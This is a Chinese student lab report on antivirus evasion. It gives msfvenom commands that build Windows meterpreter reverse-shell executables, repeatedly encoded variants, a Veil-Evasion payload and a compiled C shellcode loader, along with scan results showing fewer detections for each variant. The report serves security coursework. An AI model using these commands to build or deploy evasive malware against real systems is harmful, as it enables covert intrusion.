20145317 《网络对抗技术》免杀原理与实践
20145317 《网络对抗技术》免杀原理与实践
免杀技术
技术分类
改变特征码
加壳:使用专业的加壳软件,掩盖特征码;
使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;
使用其他语言进行重写再编译,如veil-evasion。
改变攻击行为
反弹式连接能大大减少被阻止查杀的风险;
在正常应用软件中插入恶意代码;
将恶意代码加密,运行恶意代码后再解密进行恶意操作;
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
基础问题回答
1.杀软是如何检测出恶意代码的?
创建特征码库,对恶意代码的特征码进行匹配,匹配到即为恶意代码;
看该代码是否被流行免杀加壳软件加壳,如果有可能就是恶意代码;
根据该代码是否有恶意行为来判别,若有恶意的行为,我们就认为该代码是恶意代码。
2.免杀是做什么?
免杀就是通过改变恶意程序的明显特征等信息,一种能使病毒木马避免被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
改变特征码
加壳:使用专业的加壳软件,掩盖特征码;
使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;
使用其他语言进行重写再编译,如veil-evasion。
改变攻击行为
反弹式连接能大大减少被阻止查杀的风险;
在正常应用软件中插入恶意代码;
将恶意代码加密,运行恶意代码后再解密进行恶意操作;
实验步骤
实践过程记录
msfvenom直接生成meterpreter可执行文件
- win8的IP地址:192.168.199.237
- Kali的IP地址:192.168.199.109
- 使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.109 PORT=302 -f exe > fool.exe
命令生成meterpreter可执行文件fool.exe - 使用ncat将文件传输到win8主机
- 电脑管家检测到fool.exe恶意软件并删除,找回文件即可
- 我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来
- 点击浏览选项,自行选中所要检测的程序:fool.exe,随后点击扫描一下即可。
检查结果如下:
- 有21/39的杀毒软件发现有病毒
Msfvenom使用编码器生成meterpreter可执行文件
1)一次编码
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.118 LPORT=5317 -f exe > 5317dd.exe
命令生成编码过的可执行文件5317dd.exe- 我们发现被编码后的payload大小为360字节,上面直接生成的payload大小为333字节,但是最终文件的大小都是73802字节。
以上述相同方法传送给win8主机后再次检测:
(2)8次编码
编码八次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b ‘\x00’ LHOST=192.168.1.118 LPORT=5317 -f exe > 5317pp.exe
- 由上图发现每编码一次,信息都会显示出来,而且每次payload增加27字节,最终payload大小为549字节,但是文件最终大小仍为73802字节
再来检测一下:
- 在编码8次之后,有21/39的杀毒软件检测出了有问题
我们发现,一般的杀毒软件对于编码这种免杀方法都是有防御性的
使用Veil-Evasion生成可执行文件
- wins的IP地址:192.168.1.118
在Kali中打开veil-evasion:直接在终端输入veil-evasion即可(如果是自己安装的kali可以用
sudo apt-get veil-evasion
下载一个)在该界面下输入命令:use python/meterpreter/rev_tcp,出现结果如下图所示:
使用
set LHOST 192.168.1.118
命令将LHOST设为Kali的IP输入命令generate,进入到如下界面
接下来我们输入自己生成的可执行文件的名字:5317py
他会询问我们选择哪种编写方式,我们选择1,用python语言来编写,最终出现如下界面
- 这里的端口我忘改了,不过这个也就和msf一样,自己随便设置就好。
该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击即可找到相应的文件夹:
检测结果如下:
有10/39的杀毒软件报告发现有病毒,效果还是不错的
使用C语言调用Shellcode
使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=5317 -f c
命令生成一个C语言shellcode数组
创建一个C文件:MSSC.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:
使用
i686-w64-mingw32-g++ MSSC.c -o MSSC_5317.exe
命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5317.exe- 将上面生成的数组copy到win8的主机上,用vs2013编写一个C程序并编译
在Kali下使用msf监听运行刚刚编译生成的可执行文件,成功获取权限:
检测一下:
- 有5/39的查杀软件发现了病毒,比上一个超简单的C程序厉害了一点
我们找到C可执行文件的位置,用电脑管家扫描一下,成功免杀。
转载于:https://www.cnblogs.com/5317p/p/6624058.html
20145317 《网络对抗技术》免杀原理与实践相关推荐
- 2018-2019 20165208 网络对抗 Exp3 免杀原理与实践
目录 2018-2019 20165208 网络对抗 Exp3 免杀原理与实践 实验内容 基础问题回答 实践过程记录 任务一:正确使用免杀工具或技巧 任务二:通过组合应用各种技术实现恶意代码免杀 任务 ...
- 20145326蔡馨熠《网络对抗》——免杀原理与实践
20145326蔡馨熠<网络对抗>--免杀原理与实践 报告内容 1.理解免杀技术原理. 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti- ...
- 网络对抗 Exp3 免杀原理与实践 20154311 王卓然
Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? ①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件. ...
- 20145315何佳蕾《网络对抗》免杀原理与实践
实践内容: (1)理解免杀技术原理 概念:免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为&q ...
- 《网络攻防》 免杀原理与实践
20145224陈颢文 <网络攻防> 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码: 基于行为: 启发式. 免杀是做什么? 避免恶意代码被杀毒软件扫描出来被删除, ...
- 网络对抗技术-Exp2-后门原理与实践 20181314
一.实验内容 1.使用netcat获取主机操作Shell,cron启动 Windows获得Linux Shell 在Windows下使用ipconfig查看本机IP win+r 输入cmd,打开监听 ...
- 20154319 《网络对抗技术》后门原理与实践
一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分) 任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分) 任务三:使用MSF meterpr ...
- 2018-2019-2 网络对抗技术 20165239Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165239 Exp3 免杀原理与实践 win10 ip地址 192.168.18.1 fenix ip地址为 192.168.18.128 (1)杀软是如何 ...
- 2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
最新文章
- 阿里淘系程序员“开源”内部年度技术总结,还把P9大佬喊出来教你“打怪升级”...
- 马云携阿里17位创始人及合伙人捐赠浙大一院5.6亿,杭州渐成中国硅谷
- ubuntu12.04下android开发环境搭建两个注意事项
- cento7.6安装kubernetes1.14.1
- c++开发教程之自定义类型的运算
- C#使用Mutex实例详解
- 从MySQL导入导出大量数据的程序实现方法
- JavaScript计算两个日期相差天数/分钟/小时
- 666! 玩王者,识英雄,这样也能上顶会!
- 解决angularjs判断上传文件大小
- Eclipse用法和技巧七:自动生成get和set方法2
- python 文件和目录操作题库
- 前端 JavaScript 中 JSON.stringify() 的基本用法
- mysql-关联查询
- 【建模算法】基于遗传算法求解TSP问题(Python实现)
- UserWarning: Glyph 28857 (\N{CJK UNIFIED IDEOGRAPH-70B9}) missing from current font. FigureCanvasA
- Java文件操作——简单文件搜索优化版本Lambda优化
- android studio出现,Android studio 出现缺少sdk的情况,如何解决?
- 【转】【GO】9.go:linkname
- 两种方法教你修改MAC地址 !
热门文章
- 计算机硬件人员专业知识技能,2017年江苏省职业学校技能大赛(计算机硬件)竞赛实施方案...
- 【JVM调优】JVM的运行参数
- [JavaWeb] SSM框架 部署运行第一个Demo
- 五分钟学会centos配置gitlab
- 2017-2018-1 20155234《信息安全系统设计基础》第五周学习总结
- haskell读写文件相关(含二进制)
- 软件常见基础问题总结
- LeetCode 之 JavaScript 解答第23题 —— 合并K个有序链表(Merge K Sorted Lists)
- Redis系列五:redis键管理和redis数据库管理
- 分布式理论:CAP理论